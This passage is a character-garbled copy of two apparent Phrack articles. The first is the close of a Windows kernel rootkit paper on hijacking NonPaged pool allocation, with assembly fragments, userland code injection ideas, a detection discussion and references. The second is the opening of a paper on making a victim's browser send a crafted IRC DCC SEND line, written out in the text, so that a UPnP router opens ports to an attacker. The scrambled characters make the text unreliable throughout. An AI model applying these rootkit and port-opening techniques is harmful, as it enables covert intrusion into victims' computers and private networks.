cm* ?AmProtect;reed5onPa1edPool, 0 [ Protected mode, don8t care
mo0 [e(*Yar1?4, eax
9nB short loc?4J01-/
mo0 eax, [esi [ \ @ta1e #F - <nlinkin1 *rocedure
mo0 ecx, [esiY4 [ |
mo0 [ecx, eax [ | ------S P)6/ ;)<%# ecx = 0x!!!!!!!!
[ | eax = 0x$$$$$$$$
[ | - ,ee* /IP and su( this context from
[ | @ta1e #1 sa0ed context
[ | - $han1e fault re1isters and
[ | structure *ointers. $ontinue.
mo0 [eaxY4, ecx [ W
9m* short loc?4J01J4

;ault addresses 0x))))))), 0x!!!!!!!! and 0x$$$$$$$$ must *oint on in0alid
addresses to force a cau1ht *a1e fault. #his test is made onl" once and
3hen 3e still ha0e exclusi0it" on all *rocessors. #he int 0x/ C*a1e faultD
handler is restored 9ust after.
#his 1eneric techni:ue *ermits us to restore a 0alid context 9ust (efore
selected (lock siBe is checked. =nce 3e 1et code execution, 3e a**l"
context difference, chan1e the current (lock re1ister and then return at
first sta1e address. It 3orks 3ell (ecause our t3o sta1es are 0er" close,
once a selected (lock siBe is checked, unlinkin1 is directl" made.
6i0en exam*les 3ere (ased on a sin1le %I@#?/5#+7 of the
Am5onPa1edPool;ree%ist&ead ta(le (ut "ou must *oison all entries. If a
1i0en entr" is em*t" Cexce*t for our fake (locksD, the al1orithm tries
next the entr". It means 3e 3ill (e called more than one time *er
allocation. 'e created a mechanism to mana1e multi*le call on a sin1le
allocation. If the first entr" is em*t", the second entr" is used and so
on. #hen 3e 3ill (e called t3ice or more. !" checkin1 current ta(le, 3e
can *redict a future code execution on the same allocation and a0oid
executin1 *a"load more than one time *er allocation re:uest.
Prefetch is a *rocessor feature that retrie0es more than a sin1le
instruction from memor" (efore it executes them. @ome *rocessor use a
com*lex (ranch *rediction al1orithm to fetch as much instruction as
*ossi(le. )fter some tests, 3e sa3 that *rocessors in0alidate code cache
3hen a modification occurs in cached memor" addresses. =ur dri0er su**orts
a case 3here code modification could (e ri1ht after current instruction.
#o achie0e that 3e created a routine 3hich calculates *refetch cache siBe
and consider it in next *arts of our techni:ue. 'e could also search
s*ecifics instructions 3hich clean *refetch cache like a far 9um* (ut it
can onl" (e used as an o*tion.
#his techni:ue 1i0es us code execution for 5onPa1ed allocation su*erior or
e:ual to 1 *a1e. It achie0es that 3ith a stealth hook, created (" kernel
code and cleaned (" our routine directl" after. It8s far from (ein1
*erfect as those allocations are not used that much. 5ext *art descri(es
ho3 this techni:ue can (e extended to 1ain control o0er all 5onPa1ed *ool
allocations.
-----[ H.F.F - /x*end it for e0er" siBe
=thers lists can not (e hi9acked the same 3a" (ecause s"nchroniBation
mechanisms are not exclusi0e. $han1in1 some assem(l" code (ecomes trick" if
it can (e executed (" more than one thread at a time. =ur method is
assurin1 our *re0ious techni:ue execution on an" allocation. =nce 3e ha0e
control, 3e can find a 3a" to retore /x)llocatePool'ith#a1 context 3ith a
correct return 0alue. 'e must do that 3ithout recodin1 a sin1le line of
memor" allocator. It is *ossi(le to create our o3n allocator (ut 'indo3s
one is 1reat and it 3ill *erfectl" do the 9o( for us.
4urin1 allocation, the lookaside list is checked first. It 3ill *o* an
entr" and if this entr" is not 5<%%, use it. #his entr" comes from
6/5/+)%?%==,)@I4/ %ist&eader field. #his field structure is @%I@#?&/)4/+.
kdS dt ntP?@%I@#?&/)4/+ .
Y0x000 )li1nment E <intK!
Y0x000 5ext E
Y0x000 5ext E PtrHF ?@I56%/?%I@#?/5#+7
Y0x004 4e*th E <intF!
Y0x00- @e:uence E <intF!
#he /xInterlockedPo*/ntr"@%ist function *o*s an entr" from a @%I@#?&/)4/+
structure. #he 5ext field is a *ointer to the next @%I@# node Csin1le
linked listD. #he 4e*th field re*resents ho3 man" entries are ke*t in the
list. /x;reePool'ith#a1 com*are 6/5/+)%?%==,)@I4/ o*timal de*th 3ith
current @%I@#?&/)4/+ de*th. /x)llocatePool'ith#a1 does not check this
field and 9ust looks if some entr" can (e *o**ed out 5ext field. #o stunt
allocation and free *rocedure on 5onPa1ed lookaside ta(le, 3e set 5ext
field to 5<%% and 4e*th field to 0x;;;;. #his state 3ill (e *reser0ed and
this ta(le 3ill not (e used an"more.
=ur techni:ue ex*ansion relies entirel" on su(0ertin1 ho3 the
/x*5onPa1edPool4escri*tor ta(le is used. In the *re0ious *art, 3e ex*lained
1lo(al 0aria(le /x*5um(er=f5onPa1edPools in0ol0ement in this *rocess. It
is *ossi(le to ex*and num(er of 5onPa1ed *ools and then *la" 3ith current
,5=4/ color. 4urin1 allocation, the ,5=4/ color defines 3hich *ool
descri*tor is used. #hen durin1 free *rocedure, PoolIndex field of
P==%?&/)4/+ kee* *ool descri*tor color.
@o 3e can use this nice feature to our ad0anta1e. 4efault ,5=4/ color on
e0er" *rocessors 3ould *oint on an em*t" *ool descri*tors. It 3ill lead to
code execution usin1 our (ase techni:ue. If the function
Ai)llocatePoolPa1es return address is not the one use for classical *a1e
rounded allocation, 3e kno3 that a smaller allocation occur. )ll 3e ha0e
to do is s3itch P+$! ,5=4/ *ointer to a co*" 3ith custom color and recall
/x)llocatePool'ith#a1. /0er"thin1 related to allocation and (lock
mana1ement 3ill (e im*lemented as it needs to (e e0en if it differs
(et3een o*eratin1 s"stem 0ersions. +eturned (locks PoolIndex 3ill *oint to
our o3n *ool descri*tor and free *rocedure, 3hich 3ill *erfectl" 3ork. %ets
see ho3 it 3ill look on a sin1le *rocessor.
/x*5onPa1edPool4escri*tor
Y-------------------Y
| P+/VI=<@ P==%4/@$ | R--- ,e*t for com*ati(ilit" C0D
| /AP#7 P==%4/@$ | R--- 4efault ,5=4/-Scolor C1D
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| -- |
| $<@#=A P==%4/@$ | R--- <sed for our allocations C1-D
Y-------------------Y
[ ;i1ure 4 - $orru*ted /x*5onPa1edPool4escri*tor
[ on sin1le *rocessor
#his setu* is 9ust an exam*le and "ou can mana1e the arran1ement as "ou
3ant. 'e could transfer *re0ious (locks from older *ool descri*tors in our
o3n and then recei0e free (locks. It is also *ossi(le to use multi*le *ool
descri*tors and so on. !e3are of s"stem *ool descri*tor rec"clin1 as it can
leads to stran1e (eha0ior s*eciall" on multi-*rocessor architecture.
=nce 3e ha0e our fresh allocated (lock, 3e must return at
/x)llocatePool'ith#a1 return address. Ai)llocatePoolPa1es has (een called
to retrie0e a ne3 *a1e and fill the current *ool descri*tor 3ith it. It8s
o(0ious that 3e can8t return normall" and let *a1e allocation occurs. =n
Intel xK- architecture the stack is used to store local 0aria(les,
ar1uments and sa0ed re1isters. #he 'indo3s com*iler starts (" reser0in1
local 0aria(le and then *ushes each re1ister (efore its modification.
#he next fi1ure sho3s our stack confi1uration once 3e ha0e code execution.
to*
Y--------------------Y
| =ur stack elements | +estore assem(l" exam*le
Y--------------------Y R------ W---------------\
| | | *o* ecx |
| @a0ed re1isters | | *o* e(x |
| | | *o* esi |
Y--------------------Y | lea0e |
| | | retn 0$h |
| | \---------------W
| | |
| | |
| @tack 0aria(les | |
| | |
| | |
| | |
Y--------------------Y [ne3 stack le0el
| @a0ed /!P | |
Y--------------------Y |
| +eturn )ddress | |
Y--------------------Y |
| | |
| ;unction ar1uments | |
| | |
Y--------------------Y R--------------W
(ottom
[ ;i1ure . - @tack context after code execution
[ Z small (locks case Z
#he restore assem(l" *art sho3s correct assem(l" in current function 3hich
*erfectl" restores the context. It does not corres*ond of the first series
of *o* instruction (efore return. #here is an im*ortant risk that some
re1ister has not (een *ushed "et. It is *ossi(le to deduce the *ushed
re1ister num(er (" lookin1 at function *rolo1ue 3hen stack 0aria(les are
reser0ed. In the 'indo3s com*iler, it8s :uite sim*le and 3e can easil"
calculate the *ushed re1ister num(er. ) sim*le disassem(l" anal"sis on
needed *o* re1ister num(er does the 9o(. It must (e done for
Ai)llocatePoolPa1es and /x)llocatePool'ith#a1. 'e chan1e the return
address stored in the stack and 1o to the deduced Ai)llocatePoolPa1es
address. %ast ste* is settin1 eax re1ister for the return 0alue. !oth
functions return a 0alue and *reser0e eax 0alue. =ur anal"Ber is d"namic
and re1isters each *o* and its re1ister. #hat 3h" 3e can restore the
*ro*er context e0en if it chan1es (et3een 0ersions.
#he 'indo3s com*iler is reall" eas" to *redict and does not create too
stran1e assem(l" or1aniBation. #his techni:ue is theoreticall" *ossi(le
on e0er" assem(l" code that follo3 stdcall s*ecification. #he a**roach
could differ on others com*ilers.
---[ H.H /x*loit our *osition
#his article *resent a 3a" of su(0ertin1 the 'indo3s kernel (" modif"in1
onl" data. 5o function *ointers, no static hookin1 or others classical
techni:ue. It could exem*t us of an" other ex*lanation. !ut it 3ould not
(e com*lete 3ithout some concrete exam*les. I *ersonall" (elie0e that the
onl" limitation here is ima1ination.
-----[ H.H.1 6eneric stack redirection
)llocation occurs in so man" *laces that "ou must rel" on kno3n context
and functions. =nce e0er"thin1 is setu* and (efore releasin1 exclusi0it",
some stack redirection data(ase can (e created.
#he first 3a" to do this is callin1 a handler if stack (acktracin1
re0eals a s*ecific function. @tack (acktracin1 sho3s onl" return addresses
and not 3hich function call it. 4e(u11ers resol0e those functions (" dee*
anal"sis or s"m(ol checkin1. Im*lementin1 those features 3ould take too
much time. @o it8s (etter to tar1et a s*ecific return address on
/x)llocatePool'ith#a1 stack frame. It 3ill definitel" im*ro0e check s*eed.
#o do that, 3e indicates to our stack redirection )PI that 3e tar1et a
s*ecific function. #hen launch a normal call or *rocedure that 3ill lead to
our function. /0er" allocation durin1 this time 3ill sho3 im*ortant
(acktrace stacks.
%et sa", 3e tar1et an I+P and 3e kno3 3hich function handles it (" lookin1
at I+P dis*atch ta(le. 'e also kno3 (" re0ersin1 that it 3ill allocate a
5onPa1ed (lock. %aunchin1 an IW= re:uest, our )PI could re1ister some
5onPa1ed call and reco1niBe later.
In the 3ild, it 3ill call the a**ro*riate handler 3ith su( context
information. @ometimes 1ettin1 a context is not enou1h. #he second 3a"
sta"s on same *rinci*les (ut modifies the stack to assure our handler is
called once the function end. /fficienc" de*ends on 3hat is "our tar1et
and ho3 "ou modif"in1 it.
-----[ H.H.F <serland *rocess code in9ection
#his techni:ue can (e also used to in9ect code in userland to su(0ert
trusted a**lications. 5onPa1ed allocation occurs a lot in kernel mode and
it ha**ens in e0er" *rocess. @ome kernel dri0ers like 3inHFk.s"s call
userland man" times. #his call is achie0e (" the function
,e<serAode$all(ack [H.. It modifies userland stack to s3itch tem*oraril"
for a call in userland. )0aila(le functions are limited (" a ta(le.
<serland in9ection from kernel should not (e resident and onl" concern
kno3n trusted a**lication as (ro3sers. In9ection can (e done on
ex*lorer.exe as 3ell to launch an hidden instance of a trusted *ro1ram.
,e<serAode$all(ack al1orithm can (e easil" remade or co*ied then
relocated.+edirection ta(le could (e su(0erted to redirect the call. 'e
can also think a(out ex*loitin1 userland calls. It does not make an" sense
to add checks on those a0aila(le functions.
--[ 4 - 4etection
#his article does not tr" to con0ince "ou that su(0ertin1 I4# or
allocation mechanism usin1 ad0anced techni:ue is the future. Aost detection
tools onl" indicate if a rookit ma" or ma" not (e in this com*uter. It has
*ains identif"in1 3hich module is res*onsi(le. It detects anti0irus or
fire3all as rootkits. ) *rotection la"out could detect itself as a rootkit
(ecause it does e0er"thin1 a rootkit does and so does not ask it to (lock
or uninstall a rootkit. +ootkit *a*ers demonstrate so man" 1reat 3a"s to
easil" ("*ass those *rotections. !ut 3e don8t see much those techni:ues in
the 3ild, sim*l" (ecause rootkits don8t need them for the moment.
4etect soft3are (eha0ior modification could (e *art of a Verifia(le
=*eratin1 @"stem [H-. It 3ill in0ol0e (asic checks on kno3n memor"
structures. $hecks inte1rit" of %I@#?/5#+7 structures and correct them if
needed. 'e can (lame rootkit *rotections as much as 3e 3ant (ut detectin1
rootkits on a closed o*eratin1 s"stem is almost im*ossi(le. 6i0es more
information for kernel com*onents 3ill certainl" leads to more
sofisticates attacks. In the other hand, it could reduce attack surface.
It is s*eciall" true on a defence oriented o*eratin1 s"stem. 5ext
*rotection im*ro0ements should come from the o*eratin1 s"stem itself.
5o3 that there are hard3are im*ro0ements for 0irtualisation, such as
h"*er0isors, there 3ill (e extensions to hard3are to detect and *rotect
a1ainst rootkits. It offers a real control on o*eratin1 s"stem (eha0ior
3ithout ad0anced research on kernel la"out. @ome *rotections techni:ues
that 3ere im*ossi(le to im*lement in 'indo3s en0ironment like P)G, could
rel" on those hard3are features. =ur techni:ues could (e detected ("
re1isterin1 and monitorin1 some s*ecific e0ents on the *rocessor. It is
*ossi(le toda" to do that (ut *erformance issues are im*ortant.
=ur attacks could (e (locked usin1 tar1eted *rotection such as si1natures.
)n attack is defined as ho3 man" times it takes to create a 1eneric
*rotection. In this area, Patch1uard is an im*ortant im*ro0ement.
--[ . - $onclusion
#his *a*ers techni:ues 3ere made to sho3 that ele1ant soft3are hi9ackin1
can still e0ades most *rotections and a0oid an" *erformance issues or
unsta(le (eha0iors. /0en thou1h, these techni:ues are hardl" relia(le and
should (e considered onl" as a technical *roof of conce*t. 5e3 *rotections
are not efficient enou1h or *resent. #he" do not re*resent a threat for
a rootkit 3hich tar1ets millions of com*uters. +e0ersin1 is an im*ortant
tool in im*ro0in1 soft3are rootkits techni:ues. 4etectin1 that a rootkit
is *resent should not (e enou1h. ) *rotection 3hich cannot uninstall a
rootkit or *re0ent infection is useless. 4ri0ers si1natures 3as a 1ood
idea as it 3as desi1ned to sto* current infections entries. !ut infection
*re0ention includes local kernel ex*loitation. 6eneric detection of those
attacks 3ould need an im*ortant im*ro0ement in anti-rootkits *rotections
and o*eratin1 s"stem desi1n.
--[ - - +eferences
[1 &ol" ;ather, In0isi(ilit" on 5# (oxes, &o3 to (ecome unseen on 'indo3s
5# CVersionE 1.FD
htt*EWW0x.netlux.or1Wli(W0hf00.html
[F &ol" ;ather, &acker 4efender
htt*sEWW333.rootkit.comW0aultWhfWhxdef100r.Bi*
[H FL)
htt*EWW0x.netlux.or1WFLa
[4 6re1 &o1lund, 5# +ootkit
htt*sEWW333.rootkit.comW0aultWho1lundWrk?044.Bi*
[. fuBen?o*, ;<
htt*EWW333.rootkit.comW*ro9ect.*h*2id=1F
[- Peter @il(erman, $.&.).=.@, ;<to
htt*EWWuninformed.or1W20=HMa=J
[J /e"e, !ootroot
htt*EWWresearch.ee"e.comWhtmlWtoolsW+#F00-0K01-J.html
[K /e"e, Pixie
htt*EWWresearch.ee"e.comWhtmlW*a*ersWdo3nloadW
e/"e4i1ital@ecurit"?Pixie^F0Presentation.*df
[L Ioanna +utko3ska and )lexander #ereshkin, !lue Pill *ro9ect
htt*EWW(lue*ill*ro9ect.or1W
[10 ;rank !olde3in, ) Iourne" to the $enter of the +ustock.! +ootkit
htt*EWW333.reconstructer.or1W*a*ersW
)^F0Iourne"^F0to^F0the^F0$enter^F0of^F0the^F0+ustock.!^F0+ootkit.Bi*
[11 ;rank !olde3in, Peacomm.$ - $rackin1 the nutshell
htt*EWW333.reconstructer.or1W*a*ersW
Peacomm.$^F0-^F0$rackin1^F0the^F0nutshell.Bi*
[1F @tealth A!+ rootkit
htt*EWW333F.1mer.netWm(rW
[1H /P?G0;; and AP?)+#, <nreal.), ("*assin1 modern )ntirootkits
htt*EWW333.rootkit.comWne3sread.*h*2ne3sid=-4J
[14 ),LFF E !"*assin1 4isk %o3 %e0el @cannin1 to &ide ;ile
htt*EWWrootkit.comWne3sread.*h*2ne3sid=JKH
[1. $ardAa1ic and 3o3ocock, 4ark@*"
htt*EWW333.f""re.netWZcardma1icWindex?en.html
[1- *9f, Ice@3ord
htt*EWW*9f.(lo1one.net
[1J 6mer
htt*EWW333.1mer.netWindex.*h*
[1K Pa1e1uard *a*ers C<niformedD E
- !"*assin1 Patch6uard on 'indo3s x-4 (" ska*e M @k"3in1
htt*EWW333.uninformed.or1W20=allMa=14Mt=sumr"

- @u(0ertin1 Patch6uard Version F (" @k"3in1
htt*EWW333.uninformed.or1W20=allMa=FKMt=sumr"

- Patch6uard +eloadedE ) !rief )nal"sis of Patch6uard Version H (" @k"3in1
htt*EWW333.uninformed.or1W20=allMa=HKMt=sumr"
[1L 6re1 &o1lund, ,ernel =(9ect &ookin1 +ootkits C,=& +ootkitsD
htt*EWW333.rootkit.comWne3sread.*h*2ne3sid=.01

[F0 'indo3s &ea* =0erflo3s - 4a0id %itchfield
htt*EWW333.(lackhat.comW*resentationsW3in-usa-04W(h-3in-04-litchfieldW
(h-3in-04-litchfield.**t
[F1 !"*assin1 ,lister 0.4 'ith 5o &ooks or +unnin1 a $ontrolled
#hread @cheduler (" L0F10 - FL)
htt*EWW0x.netlux.or1WFLaWma1aBinesWFLa-K.rar
[FF Aicrosoft, 4e(u11in1 #ools for 'indo3s
htt*EWW333.microsoft.comW3hdcWde0toolsWde(u11in1Wdefault.ms*x
[FH ,ad, Phrack .L, &andlin1 Interru*t 4escri*tor #a(le for fun and *rofit
htt*EWW*hrack.or1Wissues.html2issue=.LMid=4#article
[F4 'iki*edia, @outh(rid1e
htt*EWWen.3iki*edia.or1W3ikiW@outh(rid1e?Ccom*utin1D
[F. 'iki*edia, 5orth(rid1e
htt*EWWen.3iki*edia.or1W3ikiW5orth(rid1e?^FKcom*utin1^FL
[F- #he 5# Insider, @to* Interru*tin1 Ae -- =f PI$s and )PI$s
htt*EWW333.osronline.comWarticle.cfm2article=F11 Clo1in re:uiredD
[FJ +ussino0ich, @olomon, Aicrosoft 'indo3s Internals, ;ourth /dition
$ha*ter H. @"stem Aechanisms -S #ra* 4is*atchin1
[FK A@45, ,e"(oard$lass@er0ice$all(ack
htt*EWWmsdnF.microsoft.comWen-usWli(rar"WmsJLHH0H.as*x
[FL $landestin", ,lo1
htt*EWW333.rootkit.comW0aultW$landestin"W,lo1^F01.0.Bi*
[H0 )lexander #ereshkin, +ootkitsE )ttackin1 Personal ;ire3alls
333.(lackhat.comW*resentationsW(h-usa-0-W!&-<@-0--#ereshkin.*df
[H1 A@45, 5disAIndicate+ecei0ePacket
htt*EWWmsdnF.microsoft.comWen-usWli(rar"Waa44K0HK.as*x
[HF @u(0ertin1 Vista#A ,ernel ;or ;un )nd Profit (" Ioanna +utko3ska
htt*EWWin0isi(lethin1s.or1W*a*ersW
9oanna^F0rutko3ska^F0-^F0su(0ertin1^F00ista^F0kernel.**t
[HH Vista +$F 0s. *a1efile attack (" Ioanna +utko3ska
htt*EWWthein0isi(lethin1s.(lo1s*ot.comWF00-W10W
0ista-rcF-0s-*a1efile-attack-and-some.html
[H4 +ussino0ich, @olomon, Aicrosoft 'indo3s Internals, ;ourth /dition
$ha*ter J. Aemor" Aana1ement -S @"stem Aemor" Pools
[H. ,e<serAod$all(ack ref - >+in10 under 'in5#WFkWGP> (" +atter - FL)
htt*EWW333.illmo(.or1WfilesWtextWFLaJW)rticlesWFL)-J.00H
[H- Ioanna +utko3ska - #o3ards Verifia(le =*eratin1 @"stems
htt*EWWthein0isi(lethin1s.(lo1s*ot.comWF00JW01W
to3ards-0erifia(le-o*eratin1-s"stems.htm
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0. of 0x0f
|=-----------------=[ $la3in1 holes in 5)# 3ith <PnP =------------------=|
|=-----------------------------------------------------------------------=|
|=---=[ max?*acketBQfelinemenace.or1 Rhtt*EWW333.felinemenace.or1S =----=|
|=--------------------------=[ )*ril 1Fth F00K -=-----------------------=|
--[ $ontents
1 - Introduction W )n o0er0ie3 of 5)# and <PnP.
F - Im*lementation 4etails
F.1 - Im*lementation s*ecificsE I+$ ProtocolE 4$$
F.F - Im*lementation s*ecificsE Ia0a
F.H - Im*lementation s*ecificsE &#A%
F.4 - Im*lementation s*ecificsE %istener
H - Puttin1 it all to1ether 3ith P"thon
4 - +eferences
. - )**endix )E @ource code
--[ 1 - Introduction W )n o0er0ie3 of 5)# and <PnP.
'elcome reader, this *a*er is a short attem*t at documentin1 a
*ractical techni:ue 3e ha0e (een 3orkin1 on. )lthou1h our techni:ue
uses 0er" similar technolo1" to man" other attacks, 3e ha0e not
seen this documented in such a manner (efore, nor ha0e 3e seen a
*ractical im*lementation in the 3ild. #his *a*er is therefore desi1ned
to accommodate this.
=ur techni:ue allo3s the attacker CusD to craft a 3e(site 3hich,
3hen 0isited, 3ill cause the 0ictim to inad0ertentl" for3ard an" *ort
of our choice throu1h their 5)#, allo3in1 us to connect directl" to them
inside their *ri0ate net3ork 0ia <PnP.
!efore 3e launch into the s*ecifics of the techni:ue, or our
im*lementation details, "ou must first (e familiar 3ith a cou*le of
fairl" strai1ht for3ard conce*ts. #hese areE >5et3ork )ddress
#ranslation> C5)#D and ><ni0ersal Plu1 and Pla"> C<PnPD.
&o*efull" most *eo*le readin1 this *a*er are alread" familiar 3ith
5)#. ;or those 3ho arn8t, 5)# (asicall" allo3s se0eral machines
to share a sin1le IP address 3ithout conflict. #his means that a sin1le
com*uter or router acts as a 1ate3a" for se0eral other com*uters. #o
learn more a(out the s*ecifics of 5)# read the +;$ in the references
section [1.
;or a t"*ical home user, 5)# is im*lemented (" their 4@% modemWrouter
and is fairl" seamless. #he internal IP address is assi1ned (" a 4&$P
ser0ice on the router and internal users are almost ne0er a3are of
their external address.
It is a common misconce*tion that 5)# *ro0ides an im*enetra(le
securit" la"er for the internal hosts. =ften this leads to a
more la*se securit" *olic" for internal machines, and a nice
1a*in1 hole for an"one 3ho mana1es to *enetrate the outer shell.
It is 0er" common to find *u(licl" accessi(le sm( shares or *oorl"
*atched ser0ices etc. usin1 our techni:ue.
#he other conce*t 3hich "ou must (e familiar 3ith (efore 3e
can 1et into the Cho*efull"D interestin1 section of this *a*er
is ><ni0ersal Plu1 and Pla" >, <PnP.
<ni0ersal Plu1 and Pla" C<PnPD is a set of *rotocols 3hich 3ere
consolidated (" the <PnP forum. #he 1eneral theme 3hich all these
*rotocols ha0e in common is that the" allo3 for seamless im*lementation
of net3orks and data communication.
#he ma9or feature of this *rotocol suite 3hich is of interest to us in
the context of this *a*er is the 5)# *unchin1 functionalit".
#his feature descri(es ho3 a 1ate3a" can *arse 0arious *rotocols
*assin1 throu1h it in order to for3ard *orts throu1h the 5)# to the
internal ser0ice. It is desi1ned in order to allo3 an" host (ehind the
5)# to re:uest that a *ort (e o*ened u* in the outer la"er, and an"
traffic recei0ed on this *ort 3ill (e for3arded throu1h to the internal
machine, creatin1 ne3 channel for communications. #his functionalit"
allo3s *rotocols such as ;#PW@IPWetc to function. In these cases the
1ate3a" res*onsi(le for 5)# 3ill *arse the *rotocol stream lookin1 for
re:uests for a se*arate channel to (e created. It 3ill then search and
re*lace the IP and *ort 0alues as the" *ass o0er the 3ire, re*lacin1
them 3ith the external 0alues. #hus, the other end of the transaction
kno3s to tr" to connect to the external IP address and *ort, rather
than the internal 0alues.
It is 0er" common currentl" for most household )4@%Wmodems and routers
to shi* 3ith <PnP ena(led (" default. )lso the %inux kernel su**orts
<PnP 3ith i*filter, ho3e0er this isn8t a default confi1 o*tion and
onl" reall" acti0e 3hen usin1 a %inux (ox as a 1ate3a" de0ice.
It8s this feature that 3e are a(le to ex*loit in order to create the
for3ardin1 of our choice, allo3in1 us access an" s*ecific *ort on a
host (ehind the 5)# directl", re1ardless of the fact the 5)# is there.
--[ F - Im*lementation @*ecifics
In this cha*ter 3e 3ill tr" to *ro0ide a detailed o0er0ie3 of our
techni:ue itself and discuss our im*lementation details. 'e 3ill
tr" to ex*lain the criteria for selectin1 each of the *rotocols and
technolo1ies 3e used for im*lementin1 each com*onent of our techni:ue.
;or those of "ou familiar 3ith the technolo1ies associated 3ith our
im*lementation, the o0er0ie3 (elo3 should (e enou1h for "ou to im*lement
our techni:ue (" "ourself. &o3e0er 3e 3ould like to note that our
techni:ue can (e im*lemented in other 3a"s, and our im*lementation
ser0es as 9ust one exam*le. 'e 3ill onl" discuss the 0arious technolo1ies
used (" felinemenace throu1hout the rest of this *a*er.
#he (asic *remis of our techni:ue is to enca*sulate one *rotocol
Cs*ecificall" one of the *rotocols 3hich are handled (" <PnP 5)#
Punchin1 functionalit"D 3ithin a second, trans*ort *rotocol. #his 3a"
3hen the 1ate3a" see8s the traffic it 3ill inter*ret the enca*sulated
*rotocol strin1 as a re:uest to o*en a *ort, and act accordin1l".
=ur im*lementation (e1ins (" con0incin1 the 0ictim to 0isit a 3e(site
of our choice. #his can (e accom*lished 0ia social en1ineerin1, cross
site scri*tin1, *hishin1, (aitin1, (anner ads, etc. =nce the 0ictim
has accessed our site, 3e ha0e enou1h control o0er their (ro3ser in
order to redirect it to an" *ort of our choice, on an" address. #his
flexi(ilit" allo3s us to accomodate almost an" choice of *rotocol to
(e enca*sulated 3ithin the 3e( session. #he aformentioned (eha0iour
makes Cin the author8s o*inionD the use of &#A%WIa0ascri*t, as a
deli0er" mechanism, to (e a 0er" effecti0e choice.
'hen the 0ictim accesses the 3e(site a fake C(aitD 3e( site is dis*la"ed
to them. #his is done so as not to encoura1e the user to immediatel" close
the *a1e u*on load.
;rom this sta1e the attacker uses one of the 0arious methods of
(ro3ser redirection, &##P res*onse, 9a0ascri*t redirection etc. in
order to redirect the 0ictim8s (ro3ser to a *ort of the attacker8s
choice. 'e chose Ia0a@cri*t since a lar1e *ortion of the techni:ue 3as
alread" 3ritten in Ia0a@cri*t. #his is documented in the &#A% section
of the *a*er.
#he attacker chooses a *ort 3hich corres*onds to a *articular *rotocol
that *erforms a data transfer out of (and 3ith the initial communication.
In our case 3e chose the 4$$ feature from the I+$ *rotocol. [H =ur reason
for choosin1 this *rotocol 3as sim*l" (ecause 3e 3ere alread" familiar
3ith it ho3e0er, an" *rotocol 3hich fits this criteria is fine. #he
attacker then Cusin1 the Ia0a@cri*t runnin1 on the 0ictims com*uter at
this sta1eD forces the 0ictim to send text from the a**ro*riate
*rotocol, C4$$ in our caseD (ack to the attacker. If the 1ate3a"
de0ice res*onsi(le for 5)# has <PnP features ena(led, this 3ill cause
the de0ice to o*en u* a hole Cas mentioned *re0iousl"D and 1rant the
attacker direct access to the local machine (ehind the 5)#.
!" redirectin1 multi*le times, an attacker is a(le to o*en u* a ran1e
of *orts, to *ortscan the host, or connect to an" ser0ice runnin1
on the local machine.
'e ha0e *ro0ided an im*lementation of this for "ou to use, ho3e0er
o(0iousl" 3ritin1 "our o3n 3ill make it less detecta(le W more useful.
5o3 that 3e80e looked at the techni:ue from a hi1h le0el (reakdo3n 3e
3ill di0e dee*er into each of the technolo1ies 3hich come to1ether to
make our techni:ue 3ork.
#o summariBe this section, the follo3in1 technolo1ies 3ill (e co0ered
(" this *a*erE
o I+$ ProtocolE 4$$
o ) Ia0a )**let.
o &#A% 3ith Ia0a@cri*t.
o P"thon code to .Wscri*tkiddif" the 3hole *rocess u*.
#he rest of this cha*ter has (een (roken do3n into a 3alkthru of the
in8s and out8s of each of the technolo1ies mentioned, and ho3 3e can
mani*ulate them to our desired end.
/ach of the follo3in1 sections 3ill descri(e a sin1le technolo1", and ho3
3e used it.
--[ F.1 - Im*lementation s*ecificsE I+$ ProtocolE 4$$
#he first ste* in our im*lementation is to find a *rotocol 3hich re:uires
a se*arate socket connection in order to communicate directl" 3ith
an end user.
'hile, as mentioned *re0iousl", there exist a multitude of *rotocols
3hich fit our criteria, for the sake of this *a*er 3e 3ill demonstrate
one in *articular, +;$-14.L [H Internet +ela" $hat.
'hile i8m sure that most *eo*le readin1 this *a*er are alread"
intimatel" familiar 3ith I+$, i 3ill 1i0e a (rief rundo3n on the as*ects
of the *rotocol 3hich are interestin1 in the sco*e of this *a*er.
!asicall" I+$ re:uires that each client connects to a central ser0er,
t"*icall" on *ort ---J. 'hen one client 3ishes to send a messa1e to another
the" send a messa1e to the ser0er usin1 the existin1 socket connection the"
ha0e o*en. #he ser0er then for3ards this messa1e on to the tar1et client.
If t3o of the users on an I+$ ser0er 3ish to communicate 3ithout ha0in1 the
ser0er (e res*onsi(le for *assin1 the messa1e (et3een them, Cread[ trade
to* secret 0da" 9uareBD the" can esta(lish a se*arate communication
channel. #his is accom*lished (" usin1 a su(set of the I+$ *rotocol kno3n
as 4$$ C4irect $lient to $lientD.
4$$ 3orks (" one client sendin1 a re:uest to esta(lish an out of (and
connection 3ith another client on the I+$ ser0er. #his re:uest contains
(oth the IP and *ort on 3hich the communication 3ill take *lace. #he
second client then sim*l" esta(lishes a #$P connection 3ith these
details, and uses it for further communication.
'hat this (asicall" (oils do3n to is the follo3in1 line.
>\x014$$ @/54 fake.exe F1H0J0-4HH 1HHJ\x01\r\n\r\n>
#his is the format of a 4$$ @/54 command. )s "ou can see the entire
command is enclosed 3ithin >\x01> characters. It contains the 3ords
>4$$ @/54> follo3ed (" the name of the file 3hich is 1oin1 to (e sent.
)fter this is the internal IP address of the re:uestin1 host, in numeric
decimal format, and finall" the *ort the transaction 3ill take *lace on.
#he format of the IP address is ex*lained more thorou1hl" (" o*tiklenB in
,een Veracit" - [..
#his as*ect of the *rotocol clearl" 3ill not 3ork under a t"*ical 5)#
en0ironment C3ithout <PnP ena(ledD. )fter recei0in1 the IP address and
*ort information, the connectin1 host 3ould end u* tr"in1 to connect to a
local address Cthe address of the machine inside the 5)#D, and
ne0er actuall" make it (ack to the intended reci*ient. It is for this
reason that a <PnP ena(led 1ate3a" must *arse I+$ traffic lookin1 for
4$$ st"le commands. 'hen this is detected, the 1ate3a" 3ill re*lace
the IP address in the re:uest, 3ith it8s o3n address. 'hen the
connection is recei0ed on the *ort s*ecified, the 1ate3a" 3ill for3ard
it inside the 5)# to the ori1inatin1 host. It is this (eha0iour that,
as the attacker, 3e can ex*loit for our o3n (enefit.
If, as the attacker, 3e force the 0ictim to send a crafted 4$$ @/54 re:uest
Csuch as the one a(o0eD to *ort ---J there8s a 1ood chance that the
